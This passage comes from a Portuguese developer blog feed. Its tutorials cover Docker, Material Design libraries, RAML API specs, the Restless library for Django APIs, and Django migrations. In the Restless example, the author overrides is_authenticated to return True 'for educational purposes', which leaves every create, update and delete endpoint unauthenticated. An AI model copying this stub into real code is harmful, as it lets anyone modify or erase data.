Notou a ausência do <repositório>/? Repositórios oficiais no Docker Hub não necessitam de um prefixo, e você pode encontrá-los na interface web através do path _/<nome da imagem>. Por exemplo, o endereço do Nginx no Docker Hub é https://hub.docker.com/_/nginx/.

Assim como em Memento, o Docker também depende de imagens e tem memória curta (problemasfilosoficos.blogspot.com.br)

Vamos executar o Nginx:

$ docker run -p 5000:80 nginx

Mapemos a porta 5000 da nossa máquina para apontar para a porta 80 do Container. Logo, ao acessarmos o http://localhost:5000, recebemos a simpática tela de boas vindas ao Nginx.

Podemos dar um nome ao processo, e ainda executá-lo em modo daemon:

$ docker run --name docker-nginx -p 5000:80 -d nginx

796ab2f0a662c045d0cfc99ff836a364a384406b8c6eaf03bcfb65e6cfd87751

O valor de retorno é o ID do Container. Note a presença dos parâmetros --name e -d.

Para listar os Containers ativos, usamos o comando ps:

$ docker ps

CONTAINER ID    IMAGE    COMMAND
796ab2f0a662    nginx    "nginx -g 'daemon ..."
CREATED           STATUS           PORTS                  NAMES
12 seconds ago    Up 11 seconds    0.0.0.0:5000->80/tcp   docker-nginx

Para parar o serviço:

$ docker stop docker-nginx

Pronto! Simples como as melhores coisas da vida.

Considerações finais

Lembro até hoje do momento em que ouvi falar sobre Docker pela primeira vez, e me questionei: Onde é que eu encaixo a minha ferramenta de provisionamento?

Pois bem, não se faz necessário ter uma ferramenta de provisionamento uma vez que a sua aplicação seja empacotada em uma imagem Docker. A forma de pensar no deploy da aplicação muda, uma vez que ela esteja "containerizada".

No próximo post da série vamos utilizar Docker em uma aplicação Python e Django, e nos deparar com algumas peculiaridades de ambientes Docker (como por exemplo, os ambiente efêmeros).

Até a próxima!

Referências

Eu me rendo: Material Design

Wed, 19 Apr 2017 12:00:00 GMT

Lembro como se fosse hoje de um camarada dos tempos de Globo.com me falando de modo efusivo: Você deveria experimentar o MaterializeCSS, vai te poupar muito tempo e te entregar uma interface elegante; Na época eu estava munido da minha ignorância, e acabei não seguindo o conselho do nobre amigo.

Pouco tempo se passou, e entrei em um projeto muito importante da empresa. Nele, houve um complexo trabalho por parte do time de estratégia e de UX para determinar a arquitetura da informação e design. Imagine a minha surpresa quando descobri que o Material Design foi usado como base para uma série de decisões tomadas. Uma luz amarela acendeu-se em minha cabeça, mas ainda não tinha sido o suficiente para saber mais.

Finalmente, ao inscrever-me no Nanodegree de Android do Udacity, que eu desisti e me rendi ao Material Design.

O Material Design

Diretamente do material.io:

Material Design is a unified system that combines theory, resources, and tools for crafting digital experiences.

Em uma definição mais descritiva, podemos dizer que o Material Design é uma completíssima "linguagem de design". Criado a partir de um profundo estudo de branding, interaction e motion, o Material é uma compilação de estilos e princípios que funcionam consistentemente em diferentes soluções.

Com sua origem no universo Mobile da Google, a partir da versão 2.1 do Android, hoje é possível apreciarmos o Material Design sendo utilizado também em soluções web. Existem duas bibliotecas bem-quistas em "traduzir" a especificação para os browsers: MaterializeCSS e Material Design Lite.

MaterializeCSS ou Material Design Lite?

Sem rodeios:

MaterializeCSS: Iniciativa open source, com mais de 25 mil stars no Github. Possui como dependência o jQuery, tornando-a uma opção ligeiramente "pesada". Possui uma documentação fácil de ler, mas infelizmente o seu showcase está desatualizado.
MDL: A biblioteca "oficial" da Google. Também open source, com cerca de 26 mil stars no Github, não possui dependência de outras bibliotecas e é declarada como opção mais fiel às especificações do Material Design.

Não vou fazer uma análise profunda entre os dois, pois para ser sincero, só tive um contato mais íntimo com o MaterializeCSS. O que posso dizer é que ambos cumprem bem a sua proposta (e possuem uma boa camada de customização através de Sass), e (na minha opinião) a biblioteca do Google leva certa vantagem por ser ligeiramente mais leve, não ter o jQuery como dependência, e ainda por cima usar BEM.

Ao contrário do Batman, eu me rendi

Em defesa do Materialize, acho a curva de aprendizagem menor que a do concorrente, e uma rápida leitura do seu getting started já te dá conteúdo o suficiente para ter as suas primeiras páginas escritas.

Se você deseja uma análise mais completa, recomendo o Google release Material Design Lite, time to switch?

Considerações finais

Acredito que ter qualquer uma das duas bibliotecas no seu toolbox é recomendado, principalmente se a sua solução for flertar com o ambiente Mobile. Então, no seu próximo projeto, antes de ir "por padrão" no Bootstrap ou Foundation, dê uma chance ao Material.

Se você estiver usando React, o Material-UI pode ser uma boa pedida. Para a galera do Angular, existe o Angular Material que cumpre bem o seu papel. O Vue não fica de fora com o Vue Material.

Até a próxima.

Referências

Ramilificando as suas APIs

Tue, 31 Jan 2017 21:30:00 GMT

Você já tem a sua API! Ela é REST, performa muito bem, e todos os seus aplicativos estão conversando com a mesma. Vem uma oportunidade de negócio de abrí-la para consumo de parceiros. Agora não basta só a técnica perfeita, você precisa de especificação, documentações, exemplos de uso e validadores para garantir que os contratos da sua API não sofram alterações drásticas, deixando seu cliente na mão.

Essa é a realidade da Loadsmart no momento da publicação desse post. Lá, optamos por seguir os mesmos passos do Spotify e utilizar o RAML para descrever as nossas APIs.

RAML é quase YAML

O RAML (RESTful API Modeling Language) é uma maneira simples de descrever/projetar suas APIs. Através de uma linguagem concisa, baseada em YAML, você é capaz de escrever especificações que podem ser usadas como documentação, ferramenta de build e de testes automatizados.

Ao invés de tentar cultivar a motivação para a utilização do RAML, vou descrever de forma prática os principais aspectos do padrão. Para tanto, já começo recomendando a instalação do API Workbench, um excelente plugin para o Atom que facilita (e muito) a escrita de documentos RAML.

Como começar?

Vamos voltar ao nosso "mini IMDB", exemplo utilizado em alguns posts aqui do blog. Os principais endpoints que temos são:

GET /movies: Listagem de filmes;
POST /movies: Adição de um filme;
GET /movies/{id}: Detalhes de um filme;
PUT /movies/{id}: Atualização de um filme;
DELETE /movies/{id}: Remoção de um filme.

Podemos começar criando um arquivo api.raml com o seguinte conteúdo:

#%RAML 1.0
title: Movies API

No momento desse artigo, o RAML possui duas especificações ativas: a 0.8 e a 1.0. Dependendo das ferramentas que você for utilizar posteriormente, talvez seja interessante optar pela especificação 0.8. Nesse exemplo utilizaremos a 1.0.

Vamos continuar descrevendo a nossa API:

#%RAML 1.0
title: Movies API
version: v1
baseUri: https://api.movies.com/{version}
mediaType: application/json

Setamos a versão da API como v1, atendendo pelo endereço https://api.movies.com/v1. Trabalharemos com objetos JSON. Caso a API necessite trabalhar com mais de um tipo (XML, por exemplo), é possível declará-lo no mediaType:

mediaType: [application/json, application/xml]

Descrevendo os dados

Se você optar pela versão 0.8 do padrão, a palavra schemas aparecerá com certa frequência durante a construção do documento. Com a 1.0, a comunidade depreciou o termo em prol da palavra-chave types, e é com ela que descreveremos o tipo Movie:

(...)

types:
  Movie:
    properties:
      id: string
      title: string
      description?: string

Movie possui três propriedades do tipo string: id, title e description. O ? em description? indica que essa última é uma propriedade opcional (ao contrário de id e title que são obrigatórias).

O RAML suporta uma série de tipos built-in, para saber mais, leia sobre definição de tipos.

Descrevendo os endpoints

Agora que temos um tipo definido, podemos partir para a descrição dos nossos endpoints. Em RAML, a semântica correta é chamarmos um endpoint de Resource. Vamos iniciar pelo /movies:

(...)

/movies:
  description: A set of movies.

  get:
    description: Get a list of movies.
    responses:
      200:
        body: Movie[]
  post:
    description: Add a new movie to the set.
    body:
      type: Movie
    responses:
      201:
        description: Returns the new movie.
        body: Movie

Começamos ao criar um bloco /movies. Nele, além de adicionarmos uma descrição através da propriedade description, também deixamos explícito a possibilidade de enviarmos dois métodos: get e post. Em get, podemos ter como resposta um status code 200 e uma lista de Movie (por isso o sufixo []).

Já em post, além de deixar claro que retornaremos o objeto recém criado, apontamos que a resposta será um 201 com um único Movie. Note que nesse caso descrevemos que o post também possui um tipo, através da palavra-chave body. Isso quer dizer que, ao fazermos POST /movies/, precisamos passar um objeto que atenda as especificações do tipo Movie.

RAML pode parecer poesia Vogon, mas não entre em pânico! (fundividedattention)

Caso a sua regra de negócio vá além da criação de um elemento, é possível descrevê-la também. Por exemplo, vamos imaginar que exista a necessidade de verificar se o filme já existe no banco de dados:

(...)

      201:
        description: Returns the new movie.
        body: Movie
      409:
        description: The movie already exists in our database.
        body:
          properties:
            error: string

Note que o padrão RAML é flexível. Nesse caso não criamos um tipo Error, apenas descrevemos o corpo da resposta através das palavras-chave body e properties.

Vamos finalizar descrevendo os dois métodos restantes:

(...)

  /{id}:
    uriParameters:
      id:
        description: The Movie identifier.
        type: string

     get:
       description: Gets a specific movie.
       responses:
         200:
           description: Returns the specific movie.
           body: Movie

    put:
      body:
        type: Movie
      description: Updates an already created movie.
      responses:
        200:
          description: Returns the updated movie.
          body: Movie

    delete:
      description: Deletes the movie.
      responses:
        204:
          description: Confirms the deletion.

Dentro de /movies, criamos um novo bloco chamado /{id}. Através da propriedade uriParameters deixamos claro que id é na verdade uma string (no nosso caso, estamos usando um uuid). Além disso, descrevemos os métodos get, put e delete para /movies/{id}, que não diferem tanto assim dos demais explicados anteriormente.

Descrevendo sem se repetir

No nosso exemplo utilizando Restless, ao fazer um POST ou PUT com dados inválidos, retornamos um BadRequest. Podemos especificar esse comportamento para o recurso POST movies/ e PUT movies/{id}.

Logo após o bloco types, vamos adicionar um novo bloco chamado traits:

(...)

mediaType: application/json

types:
(...)

traits:
  dataValidation:
    responses:
      400:
        description: A BadRequest happens when data validation fails.
        body:
          properties:
            error: string

Através de traits somos capazes de escrever regras de uso que podem ser reaproveitadas por dados e recursos. No exemplo acima, dizemos que recursos que utilizarem esse trait terão como resposta o status code 400.

Agora basta apontarmos nossos recursos ao trait de nome dataValidation:

(...)

/movies:
(...)

  post:
    is: [dataValidation]

  (...)

  /{id}:
  (...)

    put:
      is: [dataValidation]

(...)

Traits são extremamente úteis para descrever comportamentos que são comuns entre recursos (por exemplo, listagens que possuem paginação). Outro conceito similar é o Resource Types, no qual você pode ler mais sobre na documentação oficial.

Descrevendo a segurança

Para finalizar nosso exemplo. Vamos supor que o acesso à API é limitado, e o usuário precisa ter uma conta para acessá-la. Para não reinventar a roda, vamos supor que optamos pelo padrão OAuth 2 para autenticação e autorização.

Abaixo da propriedade mediaType vamos criar um novo bloco chamado securitySchemes:

(...)

securitySchemes:
  oauth_2_0:
    description: We support OAuth 2.0 for authenticating all API requests.
    type: OAuth 2.0
    describedBy:
      headers:
        Authorization:
          description: |
             Used to send a valid OAuth 2 access token. Do not use
             with the "access_token" query string parameter.
          type: string
      queryParameters:
        access_token:
          description: |
             Used to send a valid OAuth 2 access token.
             Do not use with the "Authorization" header.
          type: string
      responses:
        401:
          description: |
              Bad or expired token. This can happen if the
              user or Movie API revoked or expired an access
              token. To fix, re-authenticate the user.
        403:
          description: |
              Bad OAuth request (wrong consumer key, bad nonce,
              expired timestamp...). Unfortunately,
              re-authenticating the user won't help here.
    settings:
      authorizationUri: https://www.movies.com/1/oauth2/authorize
      accessTokenUri: https://api.movies.com/1/oauth2/token
      authorizationGrants: [ authorization_code, implicit ]

Serei sincero com você, caro leitor, o código acima é uma receita de bolo para descrever o securitySchemes do tipo OAuth 2. Nada de muito diferente do que a gente viu até aqui, com exceção do uso do |, que nesse caso serve para fazer textos em bloco, e da propriedade type com valor OAuth 2.0.

No nosso cenário, apenas temos intenção de proteger a escrita de dados na API. Para tanto, Vamos adicionar a propriedade securedBy aos blocos post e put:

(...)

  post:
    is: [dataValidation]
    securedBy: [oauth_2_0]

(...)

    put:
      is: [dataValidation]
      securedBy: [oauth_2_0]

(...)

Pronto! A especificação da nossa API está completa! Temos uma documentação forte, que pode ser lida por humanos e máquinas. Para fins didáticos não utilizei recursos interessantes como a propriedade example ou a ferramenta !include. Mas você pode ler sobre eles na especificação do RAML 1.0.

Considerações finais

Veja como ficou a versão final do nosso arquivo api.raml.

Através de uma linguagem clara fomos capazes de construir uma especificação legível para a nossa API. Com isso, outros desenvolvedores (ou até mesmo máquinas) serão capazes de entender como funciona cada endpoint. Com a adição de ferramentas como o Abao e raml2html, os resultados do uso do RAML podem ser surpreendentes, como no exemplo abaixo:

Exemplo de documentação gerada pelo raml2html

Até a próxima.

Referências

Uma ode ao Docker - Parte 1

Sat, 14 Jan 2017 18:20:00 GMT

Virtualização é um dos assuntos que mais evoluiu nesses últimos anos de TI. Mas foi o termo "containerização" que teve um "boom" de popularidade recentemente. Isso graças ao Docker, popular ferramenta que tem tornado a virtualização/containerização em uma commodity no universo de desenvolvimento de Software.

Para ser sincero, eu só "parei para olhar" o Docker no final do ano passado, através de um excelente curso do Udemy. Se você assim como eu ainda não teve tempo para ver "qualé", vem comigo que eu te mostro :)

Antes do Docker: Containers

Eu só comecei a entender realmente o que era o Docker a partir do momento que compreendi o que é um container.

No mundo "pré-virtualização", quando lidávamos com problemas como escalabilidade ou isolamento, precisávamos adquirir uma nova máquina física, instalar e configurar o Sistema Operacional, bem como instalar e configurar a própria aplicação:

Diagrama de era pré-virtualização (udemy.com)

Além do custo altíssimo para replicar a arquitetura acima, o tempo para solicitar uma nova máquina e realizar uma possível migração eram absurdamente altos. Além disso, há um incrível desperdício de recursos, já que não é necessário um hardware exclusivo para servir uma aplicação web simples.

Hypervisor

O conceito de máquina virtual vem bem a calhar para sanar o problema acima: Através de uma configuração de hardware, ser possível servir de forma isolada diferentes aplicações.

Quando falamos de máquinas virtuais Virtualbox ou VMWare, estamos nos referindo ao Hypervisor-based Virtualization. Nessa modalidade temos uma ferramenta responsável por abstrair diferentes Sistemas Operacionais funcionando dentro de um mesmo hardware:

Diagrama de virtualização por hypervisor (udemy.com)

Para cada máquina virtual, é necessário um Sistema Operacional instalado e configurado, bem como a própria aplicação.

Agora somos capazes de reaproveitar o processador, memória e banda de rede, reduzindo consideravelmente o custo. Essa "abstração" que há entre a aplicação e o hardware permite maior flexibilidade quando houver a necessidade de escalar ou migrar a aplicação para outra máquina física.

Bom! Mas e se pudéssemos compartilhar o mesmo Sistema Operacional para as 3 apps ilustradas acima, mas ainda assim mantê-las isoladas?

Containers

Segundo o ZDNet, containers:

(...) use shared operating systems. That means they are much more efficient than hypervisors in system resource terms. Instead of virtualizing hardware, containers rest on top of a single Linux instance. This in turn means you can leave behind the useless 99.9% VM junk, leaving you with a small, neat capsule containing your application.

Através de Containers é possível utilizar o conceito de virtualização, só que de uma maneira diferente: Não temos mais um Sistema Operacional por ambiente virtualizado, e sim compartilhamos os mesmos recursos do Sistema Operacional da máquina hospedeira:

Diagrama de containerização (udemy.com)

Com isso reduzimos ainda mais os custos de operação, além de proporcionar um tempo ainda menor de deployment de uma nova aplicação. Agora, do ponto de vista da aplicação, precisamos apenas do app instalado e configurado.

Enfim: O que é Docker?

Docker é uma ferramenta open source, responsável por tornar fácil a criação, deploy e execução de aplicações através do uso de containers. Com a containerização Docker, o desenvolver pode empacotar a aplicação com todas as suas dependências, e distribuí-la através de um pacote único. Esse pacote único executará em qualquer máquina Linux (com Docker, claro), podendo ser o seu ambiente de desenvolvimento local, seu ambiente de testes e homologação, ou até mesmo o ambiente de produção.

Vim falar de Docker mas só encontrei containers (marvelcinematicuniverse.wikia.com)

Se até aqui você achou o Docker semelhante ao Vagrant, você não está de todo errado. A principal diferença é justamente o conceito de containers: Docker permite que aplicações utilizem o mesmo kernel Linux da máquina hospedeira, reduzindo drasticamente o tamanho da aplicação e reduzindo o consumo de recursos da máquina hospedeira.

Considerações finais

Docker é no fim das contas uma ferramenta extremamente útil, e que possui umas das comunidades mais ativas e empenhadas no momento. Ferramentas de PaaS como o Tsuru utilizam Docker ativamente e servem inúmeros serviços e aplicações nesse exato momento.

Se até aqui você não está bem certo sobre o que é de fato o Docker, não se preocupe! Na parte 2 falaremos mais sobre a ferramenta (e menos sobre o conceito) de uma forma bem prática.

Até a próxima.

Referências

Construindo APIs em Django com Restless

Fri, 06 Jan 2017 10:45:00 GMT

Construir APIs REST em Django nos dias atuais é uma tarefa no máximo corriqueira. Com a ajuda de bibliotecas consagradas, como Django REST Framework e Tastypie, e utilizando toda a abstração que envolve os Models do framework, é possível ter endpoints respondendo em questão de minutos.

Mas existem alternativas que são capazes de tornar esse processo ainda mais prático, e com uma curva de aprendizado um pouquinho menor. Nesse seleto grupo, uma biblioteca que me agrada é o Restless.

Por que Restless (e não as outras)?

Daniel Lindsley (também conhecido como Toast Driven), um dos criadores do Tastypie (famosa biblioteca Django para construção de APIs RESTful), também é criador do Restless. Segundo ele, o que o motivou a escrever uma alternativa ao Tastypie foi:

Quite simply, I care about creating flexible & RESTFul APIs. In building Tastypie, I tried to create something extremely complete & comprehensive. The result was writing a lot of hook methods (for easy extensibility) & a lot of (perceived) bloat, as I tried to accommodate for everything people might want/need in a flexible/overridable manner.

Não há dúvidas que as duas bibliotecas citadas no início desse artigo são extremamente completas. Se você estiver procurando um engine poderoso para a criação de APIs em Django, pule logo para a documentação do Django REST Framework.

Mas nem sempre precisamos de todo esse poderio para dar vida ao nosso projeto. E é exatamente com esse posicionamento que Daniel fecha o seu argumento:

But in reality, all I really ever personally want are the RESTful verbs, JSON serialization & the ability of override behavior.

Se assim como o autor você só precisa dos verbos HTTP, serialização JSON e uma leve camada de customização, talvez o Restless seja tudo o que você necessita.

Por último mas não menos importante: O Restless, é "framework agnostic" e funciona com Django, Flask, Pyramid e Tornado.

Mão na massa

Lembra do nosso "mini IMDB", lá do post sobre REST? Vamos aproveitar a temática para exemplificar o uso de Restless com Django. Mas antes, aquele pip "de leve" para instalar o pacote:

$ pip install restless

Não é necessária a adição da biblioteca ao settings.py.

Relembrando o exemplo do post anterior, precisaremos construir os seguintes recursos:

GET /movies: Trará uma lista de filmes
POST /movies: Adicionará um novo filme ao banco de dados
GET /movies/{id}: Trará um filme específico
PUT /movies/{id}: Atualizará um filme específico
DELETE /movies/{id}: Removerá um filme específico do banco de dados

Para tanto, teremos um model Django similar ao abaixo:

# movies/models.py

import uuid
from django.db import models


class Movie(models.Model):
    id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)
    title = models.CharField(max_length=255)
    description = models.TextField(blank=True, null=True)

Podemos partir agora para a criação dos resources.

Resourcers e Preparers

Resources são classes que descrevem um recurso REST, dentro do Restless. É através deles que definiremos endpoints e todos os verbos suportados. Já os Preparers fazem o papel do "mapping" do objeto que você está expondo na API.

Para começar, vamos criar um arquivo api.py dentro do nosso app:

# movies/api.py

from restless.dj import DjangoResource
from restless.preparers import FieldsPreparer

from movies.models import Movie


class MovieResource(DjangoResource):
    preparer = FieldsPreparer(fields={
        'id': 'id',
        'title': 'title',
        'description': 'description',
    })

    def list(self):
        return Movie.objects.all()

O DjangoResource é um Resource Restless com algumas "facilidades" para funcionar dentro do framework Django. Uma dessas facilidades é o roteamento (que veremos logo abaixo).

Todo recurso precisa de um atributo preparer, é através dele que o Resource fará o "de-para" dos campos no seu banco dados, e os campos que serão exibidos em sua API. Nesse caso estamos utilizando o FieldsPreparer, e através de um dicionário (onde a chave é o nome do campo na API e o valor é o caminho para o dado) fazemos o mapeamento necessário para expor os dados do recurso.

O método list será o responsável por responder uma rota GET /movies/ em nosso projeto. Aqui já podemos ver o conceito de BYOD (Bring Your Own Data) em ação. O Restless não "introspecta" os seus models Django para entender o que e como ele deve expor dados. É necessário que você faça isso explicitamente... é esse princípio que torna fácil o trabalho da biblioteca com outros frameworks e bancos de dados.

Falta atualizar o urls.py para que o Django possa fazer o roteamento dos endereços com as views:

# urls.py

from django.conf.urls import url, include

from movies.api import MovieResource

urlpatterns = [
    url(r'movies/', include(MovieResource.urls())),
]

Aquele .urls() é uma das facilidades que o DjangoResource oferece. Caso você esteja trabalhando com algum outro framework, você pode estender o comportamento de Resource e resolver o roteamento manualmente.

Pronto! O endpoint movies/ já está respondendo:

$ curl -X GET http://localhost:8000/movies/ | json_pp

{
   "objects" : [
      {
         "description" : "The Rebel Alliance makes a risky move to steal the plans for the Death Star, setting up the epic saga to follow. (133 mins.)",
         "id" : "7e383f9c-5dc4-4b0d-9864-71e05a5d271b",
         "title" : "Rogue One"
      },
      (...)
   ]
}

Criação e autorização

Para adicionar um filme, faremos um POST em movies/, para isso, precisamos adicionar um método create:

# movies/api.py

(...)

class MovieResource(DjangoResource):
    (...)

    def list(self):
        return Movie.objects.all()

    def create(self):
        return Movie.objects.create(
            title=self.data['title'],
            description=self.data['description'],
        )

Mais uma vez o Restless não introspecta o modelo, logo, é necessário fazer a validação e criação do objeto em banco "na mão".

Vamos testar se o comportamento é o esperado:

$ curl -X POST -H "Content-Type: application/json" -d '{"title": "just a test", "description": "foo bar"}' http://localhost:8000/movies/

Provavelmente retornará um exception dizendo que o acesso não foi autorizado. O Restless por padrão espera que todo o POST, PUT e DELETE seja realizado através de uma requisição autenticada. Para isso, antes de executar cada verbo, ele consulta o método is_authenticated.

is_authenticated retornando True é pior que o problema de segurança na Estrela da Morte (movieweb.com)

Para fins educacionais, vamos informar à biblioteca que todas as requisições são aceitas:

# movies/api.py

(...)

class MovieResource(DjangoResource):
    (...)

    def create(self):
        return Movie.objects.create(
            title=self.data['title'],
            description=self.data['description'],
        )

    def is_authenticated(self):
        return True

Mais uma vez executamos o POST via curl, e voilà:

{
  "title": "just a test",
  "id": "bd02d0eb-4b75-4bfe-8222-ba24f7a1cad4",
  "description": "foo bar"
}

Verbos por ID

Já listamos e criamos novos filmes. Como fazemos para ver os detalhes de um filme através do seu ID? Simples! O método detail resolve essa para a gente:

# movies/api.py

from django.shortcuts import get_object_or_404

(...)

class MovieResource(DjangoResource):
    (...)

    def detail(self, pk):
        return get_object_or_404(Movie, pk=pk)

Um GET para movies/{id} retornará os detalhes do recurso:

$ curl -X GET http://localhost:8000/movies/7e383f9c-5dc4-4b0d-9864-71e05a5d271b/

{
  "description": "The Rebel Alliance makes a risky move to steal the plans for the Death Star, setting up the epic saga to follow. (133 mins.)",
  "id": "7e383f9c-5dc4-4b0d-9864-71e05a5d271b",
  "title": "Rogue One"
}

Note que o DjangoResource resolveu a passagem do parâmetro pk.

Para finalizar, vamos criar os métodos update e delete, que serão responsáveis por atualizar e remover o recurso:

# movies/api.py

(...)


class MovieResource(DjangoResource):

    (...)

    def detail(self, pk):
        return get_object_or_404(Movie, pk=pk)

    def update(self, pk):
        movie = self.detail(pk)

        movie.title = self.data['title']
        movie.description = self.data['description']
        movie.save()

        return movie

    def delete(self, pk):
        movie = self.detail(pk)
        movie.delete()

Assim como o método create, não há nenhuma "mágica" resolvendo a operação para a gente. Precisamos explicitamente realizar a atualização e remoção do dado através do ORM do Django.

Agora somos capazes de atualizar:

$ curl -X PUT -H "Content-Type: application/json" -d '{"title": "Zombieland", "description": "So much fun"}' http://localhost:8000/movies/bd02d0eb-4b75-4bfe-8222-ba24f7a1cad4/

{
  "title": "Zombieland",
  "description": "So much fun",
  "id": "bd02d0eb-4b75-4bfe-8222-ba24f7a1cad4"
}

E remover um filme através da API:

curl -X DELETE http://localhost:8000/movies/bd02d0eb-4b75-4bfe-8222-ba24f7a1cad4/

Considerações finais

Gosto bastante do Restless pela sua filosofia de manter-se simples. Mas nem tudo são rosas! A falta de autorização, HATEOAS e saídas em outros formatos (como XML, por exemplo) podem ser argumentos decisivos para a escolha de uma biblioteca mais completa.

Eu costumo utilizar o Restless em projetos muito específicos, onde sei que a API será sempre JSON, e integrações com o ORM trarão mais dores de cabeça do que soluções (em um cenário onde há interação com bancos NoSQL, o Restless se mostra uma ferramenta muito útil).

Confira o exemplo desse post no Github.

Até a próxima.

As built-in migrations do Django

Tue, 18 Oct 2016 12:43:00 GMT

Quem usa o Django há mais tempo já ouviu falar do South. Famosa biblioteca responsável por trazer o comportamento de migrations para o Django. Sem dúvida impactou inúmeros projetos e transformou o processo de deploy de toda a comunidade envolvida com o framework.

Nas versões mais recentes do Django, contamos com um engine built-in, muito prático, e que traz alguns conceitos que ficaram famosos com o South.

Vamos nessa dar adeus ao syncdb, e começar a nossa aventura com o migrate.

O que são migrations?

Diretamente da documentação do South:

(...) são uma forma de alterar o schema do seu banco de dados de uma versão para outra.

Você mantém em seu projeto uma série de instruções que modificam o database de acordo com a evolução do projeto. Quando uma nova pessoa fizer parte do time, não é necessário a realização de nenhum "dump" SQL, apenas a execução dessas migrations é o suficiente para você ter o db pronto para uso.

Dentro do ecossistema Django, as built-in migrations vieram como uma excelente contribuição ao projeto. A distribuição de apps fica mais coerente, agora que o desenvolvedor não precisa mais de uma "segunda biblioteca" para passar a usar um app que estamos distribuindo.

Faça migrations

Para exemplificar como toda essa mágica funciona, vamos criar um app chamado "listadecompras":

$ python manage.py startapp lista_de_compras

Nosso application terá uma estrutura similar a essa:

lista_de_compras/
    __init__.py
    admin.py
    apps.py
    migrations/
        __init__.py
    models.py
    tests.py
    views.py

Não esqueça de adicioná-lo ao INSTALLED_APPS.

Vamos nos focar na pasta migrations e no models.py. Nesse último, criaremos o modelo Item:

# models.py

class Item(models.Model):
    nome = models.CharField(max_length=255)
    quantidade = models.IntegerField(default=1)

Agora, na linha de comando, invocamos o comando de criação de migrations:

$ python manage.py makemigrations

Se tudo ocorreu bem, na pasta migrations do app, um novo arquivo Python foi criado:

# migrations/0001_initial.py

from __future__ import unicode_literals
from django.db import migrations, models


class Migration(migrations.Migration):

    initial = True

    dependencies = [
    ]

    operations = [
        migrations.CreateModel(
            name='Item',
            fields=[
                ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
                ('nome', models.CharField(max_length=255)),
                ('quantidade', models.IntegerField(default=1)),
            ],
        ),
    ]

Por partes:

O unicode_literals é uma ferramenta que torna possível a execução de seu projeto em Python 2 e 3. Ela tem a função de "marcar" suas strings como unicode, como explicado na documentação do Django.

É criada (automaticamente) uma classe Migration herdando de migrations.Migration. Nela, temos 3 propriedades muito importantes:

initial: Informamos explicitamente ao Django que essa é a migration inicial do app. Essa informação é importante para alguns casos, como quando é preciso executar o --fake-initial.
dependencies: Aqui informamos as dependências da nossa migration. Por exemplo, se dependermos de outra migration ou app, precisamos deixar claro que há uma dependência para manter uma ordem coerente de execução.
operations: Por fim, as operações que precisam ser executadas. No exemplo acima, estamos criando a tabela lista_de_compras_item, com os campos id, nome e quantidade.

No more syncdb

Calma! A tabela ainda não existe no banco dados. Para que isso aconteça é necessário executar o comando migrate:

$ python manage.py migrate

migrate executará todas as migrations pendentes do seu projeto. Caso queira executar apenas de um app:

$ python manage.py migrate lista_de_compras

Evoluindo o Schema

Vamos supor que exista o requisito de criar um API REST para o projeto, logo, expor o campo id não é uma boa prática! Precisamos de um campo único e não sequencial, que trará um pouco de obfuscation e segurança ao nosso endpoint.

Primeiro, adicionamos o campo ao modelo:

# models.py

class Item(models.Model):
    uuid = models.UUIDField(default=uuid.uuid4, editable=False, unique=True)
    nome = models.CharField(max_length=255)
    quantidade = models.IntegerField(default=1)

Seguindo o procedimento, para homologar as alterações em uma migration, precisamos do makemigrations:

$ python manage.py makemigrations lista_de_compras

Se você executar o migrate em um banco de dados vazio, provavelmente não terá nenhum problema. Mas em um banco já existente, provavelmente uma exception acontecerá. O fato é que o uso do campo unique e o campo default, em uma migration, não é tão intuitivo como parece.

Migrar é preciso (indiewire.com)

Para fazer esse procedimento, vamos seguir as recomendações da documentação do Django.

Primeiro, removemos os atributos unique=True e default=uuid.uuid4 da migration recém criada, e adicionamos o parâmetro null=True:

# migrations/0002_item_uuid.py

class Migration(migrations.Migration):

    dependencies = [
        ('lista_de_compras', '0001_initial'),
    ]

    operations = [
        migrations.AddField(
            model_name='item',
            name='uuid',
            field=models.UUIDField(editable=False, null=True),
        ),
    ]

O próximo passo é popular as linhas já existentes com uuids. Faremos isso através de data migrations.

Data migrations

Diretamente da documentação do Django:

Migrations that alter data are usually called “data migrations”; they’re best written as separate migrations, sitting alongside your schema migrations.

Em alguns casos precisamos inserir ou alterar dados, de acordo com a evolução do database do nosso projeto. O Django não possui nenhuma forma "automática" para geração de data migrations, por isso, o caminho ideal é utilizar o comando --empty:

$ python manage.py makemigrations --empty lista_de_compras

Com isso, uma migration "em branco" será criada, pronta para customização:

# migrations/0003_auto_20161010_1635.py

class Migration(migrations.Migration):

    dependencies = [
        ('lista_de_compras', '0002_item_uuid'),
    ]

    operations = [
    ]

Importante notar que agora o atributo dependencies está preenchido com a migration anterior à recém criada. É sempre necessário ter atenção à sua lista de dependências, para certificar-se que o fluxo acontecerá numa ordem coerente.

Criaremos a função responsável por inserir UUIDs nos registros já existentes:

# migrations/0003_auto_20161010_1635.py
import uuid

def gen_uuid(apps, schema_editor):
    Item = apps.get_model('lista_de_compras', 'Item')
    items = Item.objects.all()
    for item in items:
        item.uuid = uuid.uuid4()
        item.save()

Usamos o parâmetro apps para "importar" o modelo. Na sequência, utilizamos o ORM para pegar todos os items do banco de dados, iteramos por eles preenchendo o campo uuid.

Precisamos adicionar essa função ao atributo operations, da migration:

# migrations/0003_auto_20161010_1635.py

class Migration(migrations.Migration):

    dependencies = [
        ('lista_de_compras', '0002_item_uuid'),
    ]

    operations = [
        migrations.RunPython(gen_uuid, reverse_code=migrations.RunPython.noop),
    ]

Utilizamos a função RunPython para executar operações em nossa migration que dependem de processamento por parte da linguagem (ou do Django). Em alguns cenários, esse tipo de operação não tem um processo de rollback, portanto, deixamos explícito que não temos como desfazer a operação através do parâmetro reverse_code com valor migrations.RunPython.noop.

A migration deve ter ficado mais ou menos assim:

# migrations/0003_auto_20161010_1635.py
from __future__ import unicode_literals

import uuid
from django.db import migrations, transaction


def gen_uuid(apps, schema_editor):
    Item = apps.get_model('lista_de_compras', 'Item')
    items = Item.objects.all()
    for item in items:
        item.uuid = uuid.uuid4()
        item.save()


class Migration(migrations.Migration):

    dependencies = [
        ('lista_de_compras', '0002_item_uuid'),
    ]

    operations = [
        migrations.RunPython(gen_uuid, reverse_code=migrations.RunPython.noop),
    ]

Ainda não acabou! Uma vez que todos os registros já possuam o seu uuid preenchido, precisamos voltar à proposta original do nosso modelo: Com um campo default, e com preenchimento obrigatório. Para tanto, basta executar novamente o makemigrations. Uma nova migration será criada, com todas as constraints definidas corretamente.

